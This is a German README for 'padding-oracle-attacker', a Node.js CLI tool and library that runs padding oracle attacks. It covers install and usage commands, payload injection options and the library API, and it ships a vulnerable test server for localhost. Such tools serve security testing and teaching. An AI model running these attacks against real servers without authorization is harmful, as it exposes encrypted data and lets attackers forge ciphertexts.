
🔓 CLI-Tool und Bibliothek zur einfachen Durchführung von Padding-Oracle-Angriffen, mit Unterstützung für gleichzeitige Netzwerkanfragen und einer eleganten Benutzeroberfläche.
CLI-Tool und Bibliothek zur einfachen Durchführung von Padding-Oracle-Angriffen, mit Unterstützung für gleichzeitige Netzwerkanfragen und einer eleganten Benutzeroberfläche.
Stelle sicher, dass Node.js installiert ist, und führe dann Folgendes aus
$ npm install --global padding-oracle-attacker
oder
$ yarn global add padding-oracle-attacker
Verwendung
$ padding-oracle-attacker decrypt <url> hex:<ciphertext_hex> <block_size> <error> [options]
$ padding-oracle-attacker decrypt <url> b64:<ciphertext_b64> <block_size> <error> [options]
$ padding-oracle-attacker encrypt <url> <plaintext> <block_size> <error> [options]
$ padding-oracle-attacker encrypt <url> hex:<plaintext_hex> <block_size> <error> [options]
$ padding-oracle-attacker analyze <url> [<block_size>] [options]
Befehle
decrypt Findet den Klartext (foobar) für den gegebenen Geheimtext (hex:0123abcd)
encrypt Findet den Geheimtext (hex:abcd1234) für den gegebenen Klartext (foo=bar)
analyze Hilft herauszufinden, ob die URL anfällig ist oder nicht, und
wie sich die Antwort unterscheidet, wenn ein Entschlüsselungsfehler auftritt
(für das <error>-Argument)
Argumente
<url> URL für den Angriff. Die Nutzlast wird standardmäßig am Ende eingefügt. Um eine
benutzerdefinierte Injektionsstelle anzugeben, füge {POPAYLOAD} in einen Header (-H),
den Anforderungstext (-d) oder die URL ein.
<block_size> Blockgröße des vom Server verwendeten Verschlüsselungsalgorithmus.
<error> Die Zeichenfolge, die in der Antwort erscheint, wenn die Entschlüsselung auf dem Server fehlschlägt.
Gib eine Zeichenfolge aus dem HTTP-Antworttext (wie PaddingException) oder
den Statuscode der HTTP-Antwort (wie 400) an.
Optionen
-c, --concurrency Gleichzeitig gesendete Anfragen [Standard: 128]
--disable-cache Netzwerk-Cache deaktivieren. Gespeichert unter [Standard: false]
poattack-cache.json.gz.txt.
-X, --method Für die Anfrage zu verwendende HTTP-Methode [Standard: GET]
-H, --header Mit der Anfrage zu sendende Header.
-H 'Cookie: cookie1' -H 'User-Agent: Googlebot/2.1'
-d, --data Anforderungstext
JSON-String: {"id": 101, "foo": "bar"}
URL-codiert: id=101&foo=bar
Stelle sicher, dass der Content-Type-Header gesetzt ist.
-e, --payload-encoding Codierung der Geheimtext-Nutzlast für {POPAYLOAD} [Standard: hex]
base64 FooBar+/=
base64-urlsafe FooBar-_
hex deadbeef
hex-uppercase DEADBEEF
base64(xyz) Benutzerdefiniertes base64 ('xyz' stehen für Zeichen '+/=')
--dont-urlencode-payload {POPAYLOAD} nicht URL-codieren [Standard: false]
--start-from-1st-block Verarbeitung ab dem ersten Block beginnen statt [Standard: false]
dem letzten (funktioniert nur im decrypt-Modus)
Beispiele
$ poattack decrypt http://localhost:2020/decrypt?ciphertext=
hex:e3e70d8599206647dbc96952aaa209d75b4e3c494842aa1aa8931f51505df2a8a184e99501914312e2c50320835404e9
16 400
$ poattack encrypt http://localhost:2020/decrypt?ciphertext= "foo bar 🦄" 16 400
$ poattack encrypt http://localhost:2020/decrypt?ciphertext= hex:666f6f2062617220f09fa684 16 400
$ poattack analyze http://localhost:2020/decrypt?ciphertext=
Aliase
poattack
padding-oracle-attack
const { decrypt, encrypt } = require('padding-oracle-attacker')
// or
import { decrypt, encrypt } from 'padding-oracle-attacker'
const { blockCount, totalSize, foundBytes, interBytes } = await decrypt(options)
const { blockCount, totalSize, foundBytes, interBytes, finalRequest } = await encrypt(options)
decrypt(options: Object): Promiseencrypt(options: Object): Promiseurl: stringURL für den Angriff. Die Nutzlast wird standardmäßig am Ende angehängt. Um eine benutzerdefinierte Injektionsstelle anzugeben, füge {POPAYLOAD} in die URL, einen Header (requestOptions.headers) oder den Anforderungstext (requestOptions.data) ein.
blockSize: numberBlockgröße des vom Server verwendeten Verschlüsselungsalgorithmus.
isDecryptionSuccess: ({ statusCode, headers, body }) => booleanFunktion, die true zurückgibt, wenn die Serverantwort eine erfolgreiche Entschlüsselung anzeigt.
ciphertext: Buffer (nur decrypt)Zu entschlüsselnder Geheimtext.
plaintext: Buffer (nur encrypt)Zu verschlüsselnder Klartext. Padding wird automatisch hinzugefügt. Beispiel: Buffer.from('foo bar', 'utf8')
concurrency: number = 128Gleichzeitig zu sendende Netzwerkanfragen.
isCacheEnabled: boolean = trueAntworten werden standardmäßig zwischengespeichert und in poattack-cache.json.gz.txt gespeichert. Setze auf false, um Caching zu deaktivieren.
requestOptions: { method, headers, data }requestOptions.method: stringHTTP-Methode für die Anfrage. Standardmäßig GET. POST, PUT, DELETE sind gültige Optionen.
requestOptions.headers: { string: string }Mit der Anfrage zu sendende Header. Beispiel: { 'Content-Type': 'application/x-www-form-urlencoded' }
requestOptions.body: stringAnforderungstext. Kann ein JSON-String, URL-codierte Parameter usw. sein. Der Content-Type-Header muss manuell gesetzt werden.
logMode: 'full'|'minimal'|'none' = 'full'full: Alles auf der Konsole protokollieren (Standard)
minimal: Nur nach Start und Abschluss auf der Konsole protokollieren
none: Nichts auf der Konsole protokollieren
transformPayload: (ciphertext: Buffer) => stringFunktion, um den ciphertext beim Senden einer Anfrage in einen String umzuwandeln. Standardmäßig wird ciphertext hex-kodiert und an der Injektionsstelle eingefügt (URL-Ende, sofern nicht {POPAYLOAD} vorhanden).
decrypt)alreadyFound: BufferBereits bekannte/gefundene Klartext-Bytes (vom Ende), die übersprungen werden können. Wenn du einen Buffer von zehn Bytes bereitstellst, werden die letzten zehn Bytes übersprungen.
initFirstPayloadBlockWithOrigBytes: boolean = falseInitialisiere den ersten Nutzlastblock mit den ursprünglichen ciphertext-Bytes anstelle von Nullen.
Beispiel: abcdef12345678ff 1111111111111111 statt 00000000000000ff 1111111111111111
startFromFirstBlock: boolean = falseBeginne die Verarbeitung mit dem ersten Block statt dem letzten.
makeInitialRequest: boolean = trueSende eine erste Anfrage mit dem ursprünglichen ciphertext und protokolliere die Serverantwort auf der Konsole, damit der Benutzer überprüfen kann, ob die Netzwerkanfragen korrekt gesendet werden.
encrypt)makeFinalRequest: boolean = trueSende nach dem Finden der ciphertext-Bytes für den neuen Klartext eine abschließende Anfrage mit den gefundenen Bytes und protokolliere die Serverantwort auf der Konsole.
lastCiphertextBlock: BufferBenutzerdefinierter Geheimtext für den letzten Block. Letzter Block ist standardmäßig nur Nullen (000000000000000).
padding-oracle-attacker ist in TypeScript geschrieben. Wenn du die Quelldateien ändern und ausführen möchtest, kannst du die Dateien zuerst in JS kompilieren und mit node ausführen oder ts-node verwenden.
Beispiel: yarn build dann node dist/cli ... oder einfach ts-node src/cli ...
yarn build oder npm run buildKompiliert die TypeScript-Dateien im src-Verzeichnis zu JS-Dateien und gibt sie im dist-Verzeichnis aus.
yarn clean oder npm run cleanLöscht das dist-Verzeichnis.
yarn lint oder npm run lintÜberprüft die Dateien mit eslint.
yarn test oder npm run testFührt Lint und Tests mit ava aus.
node test/helpers/vulnerable-server.jsStartet den Testserver, der unter http://localhost:2020 anfällig für Padding-Oracle-Angriffe ist.
MIT © Kishan Bagaria